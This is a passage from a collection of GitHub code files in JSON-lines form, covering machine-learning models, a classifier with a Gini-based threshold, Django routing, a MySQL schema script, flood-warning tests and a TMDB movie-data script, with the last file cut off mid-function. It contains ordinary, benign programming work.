np.repeat(data, sampling_size, axis=0)\n        data_iterator, n_iters = self.data_iterator.iter(data, batch_size, mode='inference')\n        latent_samples = self.inference_model.predict_generator(data_iterator, steps=n_iters)\n        return latent_samples\n\n    def generate(self, n_samples=100, batch_size=32, **kwargs):\n        \"\"\"\n        Sample new data from the generator network.\n\n        Args:\n            n_samples: int, the number of samples to be generated \n            batch_size: int, number of generated samples are once\n\n        Keyword Args:\n            return_probs: bool, whether the output generations should be raw probabilities or sampled Bernoulli outcomes\n            latent_samples: ndarray, alternative source of latent encoding, otherwise sampling will be applied\n\n        Returns:\n            The generated data as ndarray of shape (n_samples, data_dim)\n        \"\"\"\n        return_probs = kwargs.get('return_probs', True)\n        latent_samples = kwargs.get('latent_samples', None)\n\n        if latent_samples is not None:\n            data_iterator, n_iters = self.data_iterator.iter(latent_samples, batch_size=batch_size, mode='generation')\n            data_probs = self.generative_model.predict_generator(data_iterator, steps=n_iters)\n        else:\n            if self.latent_dim == 2:\n                # perform 2d grid search\n                n_samples_per_axis = complex(int(np.sqrt(n_samples)))\n                uniform_grid = np.mgrid[0.01:0.99:n_samples_per_axis, 0.01:0.99:n_samples_per_axis].reshape(2, -1).T\n                latent_samples = standard_gaussian.ppf(uniform_grid)\n            else:\n                latent_samples = np.random.standard_normal(size=(n_samples, self.latent_dim))\n            data_iterator, n_iters = self.data_iterator.iter(latent_samples, batch_size=batch_size, mode='generation')\n            data_probs = self.generative_model.predict_generator(data_iterator, steps=n_iters)\n        if return_probs:\n            return data_probs\n        sampled_data = np.random.binomial(1, p=data_probs)\n        return sampled_data\n\n    def reconstruct(self, data, batch_size=32, **kwargs):\n        \"\"\"\n        Reconstruct input data from latent encoding. Used mainly for goodness evaluation purposes.\n\n        Args:\n            data: ndarray, input data of shape (N, data_dim) to be encoded and decoded\n            batch_size: int, the number of samples to be computed at one pass\n\n        Keyword Args:\n            sampling_size: int, the number of noisy samples which will be reconstructed for a single data input sample\n\n        Returns:\n            A ndarray of the same shape as the input, representing the reconstructed samples\n        \"\"\"\n        sampling_size = kwargs.get('sampling_size', 1)\n        latent_samples = self.infer(data, batch_size, sampling_size=sampling_size)\n        reconstructed_samples = self.generate(batch_size=batch_size, latent_samples=latent_samples, return_probs=True)\n        return reconstructed_samples\n\n    def save(self, dirname):\n        \"\"\"\n        Save the weights of all AVB sub-models, so that training can be resumed. \n\n        Args:\n            dirname: str, path to the folder to store the weights\n\n        Returns:\n            In-place method.\n        \"\"\"\n        if not hasattr(self, 'models_dict'):\n            raise AttributeError(\"Initialise the model dict in the child class first!\")\n\n        if not os.path.exists(dirname):\n            os.makedirs(dirname)\n        for name, model in iteritems(self.models_dict):\n            model.save(os.path.join(dirname, '{}.h5'.format(name)), include_optimizer=True, overwrite=True)\n\n    def load(self, dirname, custom_layers=None):\n        \"\"\"\n        Load models from json and h5 files for testing or training.\n        \n        Args:\n            dirname: str, the path to the models directory\n            custom_layers: dict, custom Keras layers (e.g. loss layers)\n\n        Returns:\n            In-place method.\n        \"\"\"\n        if not hasattr(self, 'models_dict'):\n            raise AttributeError(\"Initialise the model dict in the child class first!\")\n\n        for name in self.models_dict.keys():\n            # this weights loading is not elegant but it seems that Keras is initialising the weights before training\n            # and the loaded model is becoming useless (maybe a Keras bug in saving/loading?). If fixed, this should be\n            # refactored too.\n            # NOTE: this is not loading the optimiser parameters\n            existing_model = getattr(self, name)\n            existing_model.load_weights(os.path.join(dirname, '{}.h5'.format(name)))\n","repo_name":"gdikov/adversarial-variational-bayes","sub_path":"avb/models/base_vae.py","file_name":"base_vae.py","file_ext":"py","file_size_in_byte":7559,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"17940379530","text":"a = \"hello world\"\nprint(a)\nprint(\"{} first character is {}\".format(a, a[0]))\n\n# a[3] = 'b' # error str can't change\nlen(a)\n\nb = \"\"\"hello\nworld\"\"\"\n\nc = r\"hello\\n\"\n\na = \"hello \"\n\nb = \"world\"\n\na += b\n\n\",\".join([\"hello\", \"world\"])\n\na.split(' ')\n\n\"hello {0}\".format(\"world\")\n\n\"hello {0} {0}\".format(\"world\")\n\n\"hello {}\".format(\"world\")\n\n\"hello {name} {site}\".format(name=\"world\", site=\"eggman\")\n\n\"hello {name} {site} {num:.2f}\".format(name=\"world\", site=\"eggman\", num=3.14)\n\na = \"hello\"\n\na[0:3]\na[-3:-1]\n","repo_name":"3014zhangshuo/python-learn","sub_path":"basic/2.str.py","file_name":"2.str.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5751551063","text":"import os\nimport torch\nimport gc\nimport evaluate\nimport numpy as np\nfrom transformers import GenerationConfig\nfrom tqdm import tqdm\n\n\ndef inference_loop(model, test_dataset, tokenizer, config):\n    preds = list()\n    generation_config = GenerationConfig(\n        do_sample=True,\n        max_new_tokens=config.max_new_tokens,\n        temperature=config.temperature,\n        top_p=config.top_p,\n        repetition_penalty=config.repetition_penalty\n    )\n    for inputs in tqdm(test_dataset, total=len(test_dataset)):\n        input_ids = inputs['input_ids'].squeeze(0)\n        attention_mask = inputs['attention_mask'].squeeze(0)\n        with torch.backends.cuda.sdp_kernel(enable_flash=True, enable_math=False, enable_mem_efficient=False):\n            outputs = model.generate(\n                input_ids,\n                attention_mask=attention_mask,\n                generation_config=generation_config\n            )[0].to('cpu').numpy()\n        # Remove the input prompt from the result.\n        decoded_pred = tokenizer.decode(outputs[input_ids.shape[1]:], skip_special_tokens=True)\n        preds.append(decoded_pred.strip())\n\n        del decoded_pred\n        gc.collect()\n        torch.cuda.empty_cache()\n\n    return preds\n\n\ndef compute_score(labels, preds, tokenizer):\n    rouge = evaluate.load('rouge')\n    rouge_scores = rouge.compute(predictions=preds, references=labels,\n                                 use_aggregator=False, tokenizer=lambda x: tokenizer(x)['input_ids'])\n    rouge_scores_mean = {k: np.mean(v) for k, v in rouge_scores.items()}\n    print(rouge_scores_mean)\n\n    google_bleu = evaluate.load(\"google_bleu\")\n    bleu_scores = google_bleu.compute(\n        predictions=preds, references=labels, tokenizer=lambda x: tokenizer(x)['input_ids'])\n    print(bleu_scores)\n\n    return rouge_scores, bleu_scores\n","repo_name":"tisu19021997/my-llama","sub_path":"src/utils/inference_utils.py","file_name":"inference_utils.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32250170595","text":"\n# coding: utf-8\n\n# In[150]:\n\n\nfrom sklearn.base import BaseEstimator, ClassifierMixin, TransformerMixin\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.datasets import load_breast_cancer\n\nimport numpy as np\n\n\n# In[151]:\n\n\n#start from the simplest part, the gini_impurity\ndef _gini_impurity(y_pred,y_true, threshold):\n    \"\"\"Computes the gini impurity of a split.\n    Parameters\n    ----------\n    y_true : ndarray, shape (n_samples,)\n        Array of true classes, must be either 0 or 1.\n    y_pred : ndarray, shape (n_samples,)\n        Array of predicted probabilities, must be between 0 and 1.\n    threshold : float\n        The value for cutting y.\n    Returns\n    -------\n    out : float\n        gini impurity\n        \n    References\n    ----------\n    Wikipedia - Decision Tree Learning\n    https://en.wikipedia.org/wiki/Decision_tree_learning#Gini_impurity\n    \n    A Simple Explanation of Gini Impurity\n    https://victorzhou.com/blog/gini-impurity/\n    \"\"\"\n    #check if y is indeed a probability vector\n    if not (np.max(y_pred)<=1)&(np.min(y_pred)>=0):\n        raise ValueError(\"y_pred must be probabilities\")\n    \n    if len(np.unique(y_true))!=2:\n        raise ValueError(\"y_true must be binary labels\")\n    \n    #now split the y vector and calculate the gini impurity by the wikipedia formula\n    #source: https://en.wikipedia.org/wiki/Decision_tree_learning#Gini_impurity\n    #source 2:https://victorzhou.com/blog/gini-impurity/\n    y_label_predicted=np.where(y_pred>threshold,1,0)\n    #then get the predicted classes and the true classes\n    class_dict={}\n    #check if both labels exist\n    if len(np.unique(y_label_predicted))==2:\n        for label in [0,1]:\n            #print(label)\n            class_dict[label]={}\n            class_dict[label][\"prob_1\"]=np.mean(y_true[y_label_predicted==label])\n            class_dict[label][\"weigth\"]=np.sum(y_label_predicted==label)/len(y_label_predicted)\n            class_dict[label][\"gini\"]=1-(class_dict[label][\"prob_1\"]*class_dict[label][\"prob_1\"]+                                         (1-class_dict[label][\"prob_1\"])*(1-class_dict[label][\"prob_1\"]))\n        #print(class_dict)\n        out=class_dict[0][\"weigth\"]*class_dict[0][\"gini\"]+class_dict[1][\"weigth\"]*class_dict[1][\"gini\"]\n    else:\n        #if there is only one label after the split, the gini must be calculated for the whole dataset\n        prob_1=np.mean(y_true)\n        out=1-(prob_1*prob_1+(1-prob_1)*(1-prob_1))\n    \n    return out\n\n\n# In[152]:\n\n\n#next, we create the thresholdbinarizer\n#this class will take as an input y_true and y_pred, and will cycle through all possible threshold values to find the best split\nclass ThresholdBinarizer(BaseEstimator,TransformerMixin):\n    \"\"\"\n    ThresholdBinarizer custom transformer\n    \n    The class implements a solution to find the optimal splitting threshold  in a vector\n    of predicted probabilities, while knowing the true labels. The metric used for splitting is \n    the gini impurity\n    \n    Parameters\n    ----------\n    There are no parameters, only the predicted probabilities and the true classes are required\n    \n    Attributes\n    ----------\n    optimal_threshold : The calculated optimal threshold, that minimizes the gini impurity\n    \n    optimal_gini : The lowest achievable gini impurity\n    \n    Example\n    --------\n    from sklearn.datasets import load_breast_cancer\n    X,y = load_breast_cancer(return_X_y=True)\n\n    clf = LogisticRegression(random_state=0).fit(X, y)\n    y_pred = clf.predict_proba(X)[:,0]\n\n    binarizer=ThresholdBinarizer()\n    binarizer.fit(y_pred,y)\n    y_labels=binarizer.transform(y_pred)\n\n    \n    \"\"\"\n    def __init__(self):\n        \"\"\"\n        Called when initializing the binarizer\n        \"\"\"\n        \n    def fit(self, y_pred,y_true,step=1000):\n        \"\"\"\n        This should fit transformer. The purpose here is to find the optimal threshold to  cut the predicted probabilities.\n        \n        Parameters\n        -----------\n        y_pred : predicted probabilities for the classes\n        \n        y_true : the true labels of the instances\n        \n        step : the optimizer checks every k/step rationals for the gini split for k=0 to step.\n        \n        Returns\n        --------\n        self : object\n        \n        Notes\n        -----------\n        This step optimizes the treshold by trying every values with a 1/step on the [0,1] interval. \n        \"\"\"\n        \n        self.optimal_threshold=0\n        self.optimal_gini=_gini_impurity(y_pred,y_true, 0)\n        print(\"STARTING GINI {}\".format(self.optimal_gini))\n        \n        for threshold_ in np.arange(step)/step:\n            _gini=_gini_impurity(y_pred,y_true, threshold_)\n            #test if split is better than current best\n            if _gini<self.optimal_gini:\n                self.optimal_gini=_gini\n                self.optimal_threshold=threshold_\n        print(\"OPTIMAL THRESHOLD: {}\".format(self.optimal_threshold))\n        print(\"BEST GINI: {}\".format(self.optimal_gini))\n\n        return self\n   \n    def transform(self,y_pred):\n        \"\"\"This fitted classifier cuts the input vector accordng to the previously\n        calculated optimal threshold\n        \n        Parameters\n        -----------\n        y_pred : the predicted probabilities\n        \n        Returns\n        -----------\n        out : array (n_samples,)\n            an array of class labels\n        \n        \"\"\"\n        \n        \n        #check if the transformer was fitteed\n        try:\n            getattr(self, \"optimal_threshold\")\n        except AttributeError:\n            raise RuntimeError(\"You must fit the transformer before transforming data!\")\n        #cut according to threshold\n        out = np.where(y_pred>self.optimal_threshold,1,0)\n        return out\n        \n\n\n# In[156]:\n\n\nclass custom_estimator(BaseEstimator, ClassifierMixin):  \n    \"\"\"A classifier I built for Aliz Tech job interview\n    The purpose of this estimator is to fit a logistic regression on a binary classification task,\n    then predict probabilities, and use a ThresholdBinarizer to assign labels according to the\n    optimal minimum Gini impurity\n    \n    Parameters\n    ----------\n    estimator : an instance of a LogisticRegression from sklearn, custom properties can be defined\n    \n    Attributes\n    ----------\n    fitted_ : True, if the fit method has been executed\n    \n    estimator : the estimator passed to the _init_ method, defaults to LogisticRegression()\n    \n    y_pred : predicted probabilities by the estimator\n    \n    _binarizer : the ThresholdBinarizer instance to assign class labels\n    \n\n    Example\n    --------\n    from sklearn.datasets import load_breast_cancer\n    X,y = load_breast_cancer(return_X_y=True)\n\n\n    myEstimator=custom_estimator()\n    myEstimator.fit(X,y)\n    myEstimator.predict(X)    \n    \n    \"\"\"\n\n    def __init__(self, estimator=LogisticRegression()):\n        \"\"\"\n        Called when initializing the classifier\n        \n        Parameters\n        -----------\n        \n        estimator : the LogisticRegression instance used for restimating the outcome probabilities\n        \n        \"\"\"\n        self.estimator = estimator\n\n\n    def fit(self, X, y_true):\n        \"\"\"\n        This method fits the classifier to the inputdata features (X) and the true labels (y_true).\n        \n        Parameters\n        ----------\n        \n        X : array (n_samples,n_features), array of features used for predicting the outcome\n        \n        y_true : array (n_samples,); array of labels for training examples\n        \n        Returns\n        --------\n        self : object\n\n        \"\"\"\n        assert isinstance(self.estimator,LogisticRegression),\"Estimator must be an instance of LogisticRegression\"\n\n        assert (len(np.unique(y_true))==2), \"Labels must be binary\"\n        self.y_true=y_true\n        self.estimator.fit(X,self.y_true)\n        self.fitted_=True\n        return self\n\n    def predict_proba(self, X):\n        \"\"\"\n        This method predicts probabilities\n        \n        Parameters\n        ----------\n        \n        X : array (n_samples,n_features), array of features used for predicting the outcome\n        \n        \n        Returns\n        --------\n        y_pred : array (n_samples,); vector of predicted probabilities\n\n        \"\"\"\n\n        try:\n            getattr(self, \"fitted_\")\n        except AttributeError:\n            raise RuntimeError(\"You must train classifer before predicting data!\")\n        \n        self.y_pred=self.estimator.predict_proba(X)[:,0]\n        \n        #now binarize the prediction\n        return self.y_pred\n    \n    def predict(self, X):\n        \"\"\"\n        This method assigns class labels using ThresholdBinarizer to minimize gini impurity\n        \n        Parameters\n        ----------\n        \n        X : array (n_samples,n_features), array of features used for predicting the outcome\n        \n        \n        Returns\n        --------\n        self.y_labels : array (n_samples,); vector of predicted labels\n\n        \"\"\"\n\n        try:\n            getattr(self, \"fitted_\")\n        except AttributeError:\n            raise RuntimeError(\"You must train classifer before predicting data!\")\n        \n        try:\n            getattr(self, \"y_pred\")\n        except AttributeError:\n            self.y_pred=self.estimator.predict_proba(X)[:,0]\n        \n        self._binarizer=ThresholdBinarizer()\n        self._binarizer.fit(self.y_pred,self.y_true)\n        self.y_labels=self._binarizer.transform(self.y_pred)\n        return self.y_labels\n\n","repo_name":"karpatika92/AT_JI","sub_path":"custom_estimator/custom_estimator.py","file_name":"custom_estimator.py","file_ext":"py","file_size_in_byte":9517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74492111047","text":"\"\"\"\nURL configuration for shyftlabs project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom .shyftuser import views as userview\nfrom .shyftcourse import views as courseview\nfrom .shyftresults import views as resultview\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('user/', userview.getUser),\n    path('alluser/', userview.getAllUser),\n    path('deleteuser/', userview.deleteUser),\n    path('course/', courseview.course),\n    path('allcourse/', courseview.allcourse),\n    path('deletecourse/', courseview.deleteCourse),\n    path('result/', resultview.result),\n    path('allresult/', resultview.getAllResults),\n    path('deleteresult/', resultview.deleteResult),\n]\n","repo_name":"developer-at-speer/Shyftv1","sub_path":"shyftlabs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33163466034","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nif __name__ == '__main__':\n\n    # filename = '/Users/ningrsrch/Dropbox/Projects/waked-loads/BYU/BYU/C720_W8_T11.0_P0.5_m2D_L1.0/Model.out'\n    filename = '/Users/ningrsrch/Dropbox/Projects/waked-loads/BYU/BYU/C433_W8_T5.6_P0.0_4D_L-1.0/Model.out'\n    # filename = '/Users/ningrsrch/Dropbox/Projects/waked-loads/BYU/BYU/C649_W8_T11.0_P0.0_4D_L-1.0/Model.out'\n    lines = np.loadtxt(filename,skiprows=8)\n    # print np.shape(lines)\n    time = lines[:,0]\n    mx = lines[:,11]\n    my = lines[:,12]\n\n    MY = np.zeros_like(my)\n    MY[0] = my[0]\n    n = len(time)\n    for i in range(1,n-1):\n        MY[i] = (my[i-1]+my[i]+my[i+1])/3.\n    MY2 = np.zeros_like(my)\n    MY2[0] = my[0]\n    n = len(time)\n    for i in range(1,n-1):\n        MY2[i] = (MY[i-1]+MY[i]+MY[i+1])/3.\n    # print len(my)\n\n    plt.ylim(0.,10000.)\n\n    # plt.plot(time,my)\n    plt.plot(time[0:1000],my[0:1000])\n    plt.plot(time[0:1000],MY[0:1000])\n    # plt.plot(time[0:1000],MY2[0:1000])\n    # print time[0:1000]\n    plt.show()\n","repo_name":"byuflowlab/waked-loads","sub_path":"unused/FAST_process.py","file_name":"FAST_process.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13640581216","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 27 23:17:09 2017\r\n\r\n@author: lenovo\r\n\"\"\"\r\n\r\n\r\n#import pytest\r\nfrom floodsystem.station import MonitoringStation\r\nfrom floodsystem.flood import  stations_level_over_threshold, stations_highest_rel_level, rel_moving_average, risk_index_calc, issuing_warning\r\nfrom floodsystem.stationdata import build_station_list, update_water_levels\r\n\r\ndef test_stations_level_over_threshold_and_stations_highest_rel_level():\r\n# two functions are very similar so tested together\r\n    # Create a station\r\n    s_id = \"test-s-id\"\r\n    m_id = \"test-m-id\"\r\n    label = \"some station\"\r\n    coord = (-2.0, 4.0)\r\n    trange = (-2.3, 3.4445)\r\n    river = \"River X\"\r\n    town = \"My Town\"\r\n    s = MonitoringStation(s_id, m_id, label, coord, trange, river, town)\r\n    list_s=[]\r\n    list_s.append(s)\r\n    list_s = list_s*3\r\n    for station in list_s:\r\n        station.latest_level = 3.4445\r\n    #disable the update water level function when using this test function\r\n    list_of_stations = stations_level_over_threshold(list_s, 1)\r\n    assert len(list_of_stations) == 3\r\n    for station in list_s:\r\n        station.latest_level = -2.3\r\n    list_of_stations = stations_level_over_threshold(list_s, 0)\r\n    assert len(list_of_stations) == 3\r\n    list_of_stations = stations_highest_rel_level(list_s, 2)\r\n    assert len(list_of_stations) == 2\r\n#This function tests all the functions related to assesing the risk of flood\r\ndef test_risk_assesment():\r\n    # Build list of stations\r\n    stations = build_station_list()\r\n    update_water_levels(stations)\r\n\r\n    # Find station 'Cam'\r\n    for station in stations:\r\n        if station.name == 'Cam':\r\n            station_cam = station\r\n            break\r\n    \r\n    assert type(rel_moving_average(station_cam,2)) == float\r\n    assert risk_index_calc(station_cam,2) < 1\r\n    assert risk_index_calc(station_cam,2) > -1\r\n # Find station 'Swindon'\r\n    for station in stations:\r\n        if station.name == 'Swindon':\r\n            station_swindon = station\r\n            break\r\n    stations_for_test = [station_cam, station_swindon]\r\n#    assert type(issuing_warning(stations_for_test)[1][1]) == str\r\n    assert type(issuing_warning(stations_for_test)[0][1]) == str\r\n    ","repo_name":"oliverrose1998/Flood-Warning-System","sub_path":"test_flood.py","file_name":"test_flood.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73155830727","text":"import mysql.connector\nfrom mysql.connector import Error\n\n\ndef create_db_connection(host_name, user_name, user_password, db_name):\n    connection = None\n    try:\n        connection = mysql.connector.connect(\n            host=host_name,\n            user=user_name,\n            passwd=user_password,\n            database=db_name\n        )\n        print(\"MySQL Database connection successful\")\n    except Error as err:\n        print(f\"Error: '{err}'\")\n\n    return connection\n\n\ndef execute_query(connection, query):\n    cursor = connection.cursor()\n    try:\n        cursor.execute(query)\n        connection.commit()\n        print(\"Query successful\")\n    except Error as err:\n        print(f\"Error: '{err}'\")\n\n\ncreate_titles_table = \"\"\"\nCREATE TABLE titles (\n  title_id MEDIUMINT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n  title VARCHAR(20) UNIQUE\n  );\n \"\"\"\n\ncreate_location_table = \"\"\"\nCREATE TABLE location (\n  location_id MEDIUMINT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n  location_name VARCHAR(50) NOT NULL UNIQUE,\n  latitude DECIMAL(9,6),\n  longitude DECIMAL(9,6)\n  );\n \"\"\"\n\ncreate_open_positions_table = \"\"\"\nCREATE TABLE open_positions (\n  open_position_id MEDIUMINT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n  title_id MEDIUMINT,\n  location_id MEDIUMINT,\n  job_description VARCHAR(40),\n  company_name VARCHAR(20) NOT NULL,\n  date_posted  DATETIME,\n  CONSTRAINT fk_open_location_id\n  FOREIGN KEY (location_id)\n  REFERENCES location(location_id)\n    ON UPDATE CASCADE\n    ON DELETE CASCADE,\n  CONSTRAINT fk_open_title_id\n    FOREIGN KEY (title_id)\n    REFERENCES titles(title_id)\n    ON UPDATE CASCADE\n    ON DELETE CASCADE\n) ENGINE=INNODB;\n \"\"\"\n\ncreate_national_salaries_table = \"\"\"\nCREATE TABLE national_salaries (\n  national_salary_id MEDIUMINT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n  title_id MEDIUMINT UNIQUE NOT NULL,\n  national_median_salary int,\n  CONSTRAINT fk_national_title_id\n    FOREIGN KEY (title_id)\n    REFERENCES titles(title_id)\n    ON UPDATE CASCADE\n    ON DELETE CASCADE\n) ENGINE=INNODB;\n \"\"\"\n\ncreate_regional_job_salaries_table = \"\"\"\nCREATE TABLE regional_salaries (\n  regional_salary_id MEDIUMINT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n  title_id MEDIUMINT,\n  location_id MEDIUMINT,\n  area_median_salary int,\n  area_ninety_salary int,\n  area_tenth_salary int,\n  CONSTRAINT fk_regional_title_id\n    FOREIGN KEY (title_id)\n    REFERENCES titles(title_id)\n    ON UPDATE CASCADE\n    ON DELETE CASCADE,\n  CONSTRAINT fk_regional_location_id\n    FOREIGN KEY (location_id)\n    REFERENCES location(location_id)\n    ON UPDATE CASCADE\n    ON DELETE CASCADE\n) ENGINE=INNODB;\n \"\"\"\n\ncreate_unique_regional =\"\"\"\nALTER TABLE regional_salaries ADD UNIQUE KEY (title_id,location_id)\n\"\"\"\n\ncreate_unique_job_positions =\"\"\"\nALTER TABLE open_positions ADD UNIQUE KEY (title_id,location_id, job_description, company_name)\n\"\"\"\n\nconnection = create_db_connection(\"localhost\", \"root\", '1234', 'mining')  # Connect to the Database\nexecute_query(connection, create_titles_table)  # Execute defined query\nexecute_query(connection, create_location_table)\nexecute_query(connection, create_national_salaries_table)\nexecute_query(connection, create_regional_job_salaries_table)\nexecute_query(connection, create_open_positions_table)\nexecute_query(connection, create_unique_regional)\nexecute_query(connection, create_unique_job_positions)\n","repo_name":"royi-razi/data_mining_project","sub_path":"mining_database_connection.py","file_name":"mining_database_connection.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41514939659","text":"import settings\n\nfrom django.conf.urls.defaults import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n                       url(r'^$', include('apps.face.urls')),\n                       url(r'^face/', include('apps.face.urls')),\n                       url(r'^space/', include('apps.space.urls')),\n                       url(r'^admin/', include(admin.site.urls)),\n                       url(\"\", include('django_socketio.urls')),\n\n)\n","repo_name":"mrshll/fluently-django","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4970867144","text":"# 需求；复制pic1.png---得到pic2.png\n# 读取pic1.png\nimg1 = 'D:\\office\\Python\\projects\\d8_0522_python文件处理和导包操作\\pic1.png'\nmyimg = open(file=img1,mode='rb')\ndata = myimg.read()\nprint(data)\nmyimg.close()\n\n# 写入pic2.png\nimg2 = 'D:\\office\\Python\\projects\\d8_0522_python文件处理和导包操作\\pic3.png'\n# myimg2 = open(file = img2,mode='wb')\n# myimg2.write(data)\n# myimg2.close()\n\nwith open(file = img2,mode='wb') as myimg2:\n    myimg2.write(data)","repo_name":"Sirshang/projects","sub_path":"d8_0522_python文件处理和导包操作/d4_图片文件读写操作.py","file_name":"d4_图片文件读写操作.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24498545735","text":"from __future__ import division\nimport csv\nfrom itertools import chain\nimport pandas as pd\nimport utilities as u\n\ndef make_sample_submission():\n    airports = u.read_airports()\n    test_flights = u.read_flights_df()\n    no_fly_zones = u.read_no_fly_zones()\n    waypoints = []\n    cruise = 38000\n    descend_distance = 150\n    speed = 450\n    waypoints = list(chain.from_iterable(\n        u.no_fly_avoidance_waypoints(\n            no_fly_zones,\n            row,\n            airports[row[\"ArrivalAirport\"]],\n            cruise=cruise,\n            descend_distance=descend_distance,\n            speed=speed) for i, row in test_flights.iterrows()))\n    # file_name = \"%dk_cruise_%dmiles_descend_%dknots.csv\" % (int(cruise/1000), descend_distance, speed)\n    file_name = \"sampleSubmission.csv\"\n    u.save_waypoints(file_name, waypoints)\n\nif __name__==\"__main__\":\n    make_sample_submission()","repo_name":"benhamner/GEFlight2BasicAgents","sub_path":"src/basicAgent.py","file_name":"basicAgent.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"56399683346","text":"import requests\nimport pprint\nimport numpy as np\n\nTMDB_API_KEY = \"b468692645623d8d1a926f516015f1c1\"\nSEARCH_MOVIE_URL = \"https://api.themoviedb.org/3/search/movie\"\nCREW_URL = \"https://api.themoviedb.org/3/movie/{}/credits\"\nPERSON_MOVIE_CREDITS_URL = \"https://api.themoviedb.org/3/person/{}/movie_credits\"\nGET_MOVIE_BY_ID_URL = \"https://api.themoviedb.org/3/movie/{}\"\n\n\ndef getParams():\n    params = {\n        'api_key':TMDB_API_KEY,\n        'language': 'en-US'\n    }\n    return params\n\n# def compareCurrentMovieWithOthers(current_movie, overall_stats):\n\n\n'''\n{\n    'adult': False,\n    'backdrop_path': '/icmmSD4vTTDKOq2vvdulafOGw93.jpg',\n    'genre_ids': [28, 878],\n    'id': 603,\n    'original_language': 'en',\n    'original_title': 'The Matrix',\n    'overview': 'Set in the 22nd century, The Matrix tells the story of a '\n                'computer hacker who joins a group of underground insurgents '\n                'fighting the vast and powerful computers who now rule the earth.',\n    'popularity': 31.893,\n    'poster_path': '/hEpWvX6Bp79eLxY1kX5ZZJcme5U.jpg',\n    'release_date': '1999-03-30',\n    'title': 'The Matrix',\n    'video': False,\n    'vote_average': 8.1,\n    'vote_count': 13548\n}\n'''\ndef searchForMovie(movName):\n    queryParams = getParams()\n    queryParams['query'] = movName\n    response = requests.request(\"GET\", SEARCH_MOVIE_URL, params=queryParams).json()\n    movie = response[\"results\"][0]\n    response2 = requests.request(\"GET\", GET_MOVIE_BY_ID_URL.format(movie[\"id\"]), params=queryParams).json()\n    movie[\"budget\"] = response2[\"budget\"]\n    movie[\"revenue\"] = response2[\"revenue\"]\n    return movie\n\n\n'''\n{  \n    'cast_id': 34,\n    'character': 'Thomas A. Anderson / Neo',\n    'credit_id': '52fe425bc3a36847f80181c1',\n    'gender': 2,\n    'id': 6384,\n    'name': 'Keanu Reeves',\n    'order': 0,\n    'profile_path': '/bOlYWhVuOiU6azC4Bw6zlXZ5QTC.jpg'\n}\n'''\ndef getActorsAndDirectors(movieId):\n    queryParams = getParams()\n    response = requests.request(\"GET\", CREW_URL.format(movieId), params=queryParams).json()\n    cast = response['cast']\n    return cast\n\n'''\n[{movie1},{movie2}...]\n'''\ndef getActorTopMovies(actorId):\n    queryParams = getParams()\n    # print(\"wogooooo\")\n    response = requests.request(\"GET\", PERSON_MOVIE_CREDITS_URL.format(actorId), params=queryParams).json()\n    cast = response[\"cast\"]\n    id_popularity_map = {}\n    for movie in cast:\n        id_popularity_map[movie['id']] = movie['popularity']\n    from collections import OrderedDict\n    sorted_popularity_dict = OrderedDict(sorted(id_popularity_map.items(), key=lambda x: x[1], reverse=True))\n    movies_data_list = []\n    # print(\"damn\")\n    for idx,movie_id in enumerate(sorted_popularity_dict):\n        queryParams = getParams()\n        response = requests.request(\"GET\", GET_MOVIE_BY_ID_URL.format(movie_id), params=queryParams).json()\n        movies_data_list.append(response)\n        # print(\"okay {}\".format(idx))\n        if(idx == 5):\n            break\n    return movies_data_list\n\n'''\n{\n    \"votes\" : {\n        \"avg\" : x,\n        \"min\" : x,\n        \"max\" : x\n    },\n    \"revenue\" : {\n        \"avg\" : x,\n        \"min\" : x,\n        \"max\" : x\n    },\n    \"budget\" : {\n        \"avg\" : x,\n        \"min\" : x,\n        \"max\" : x\n    }\n}\n'''\ndef getMoviesStats(movie_list):\n    votes, revenue, budget = [],[],[] \n    for movie in movie_list:\n        if movie[\"vote_count\"] < 50:\n            pass\n        if movie[\"vote_average\"] != 0:\n            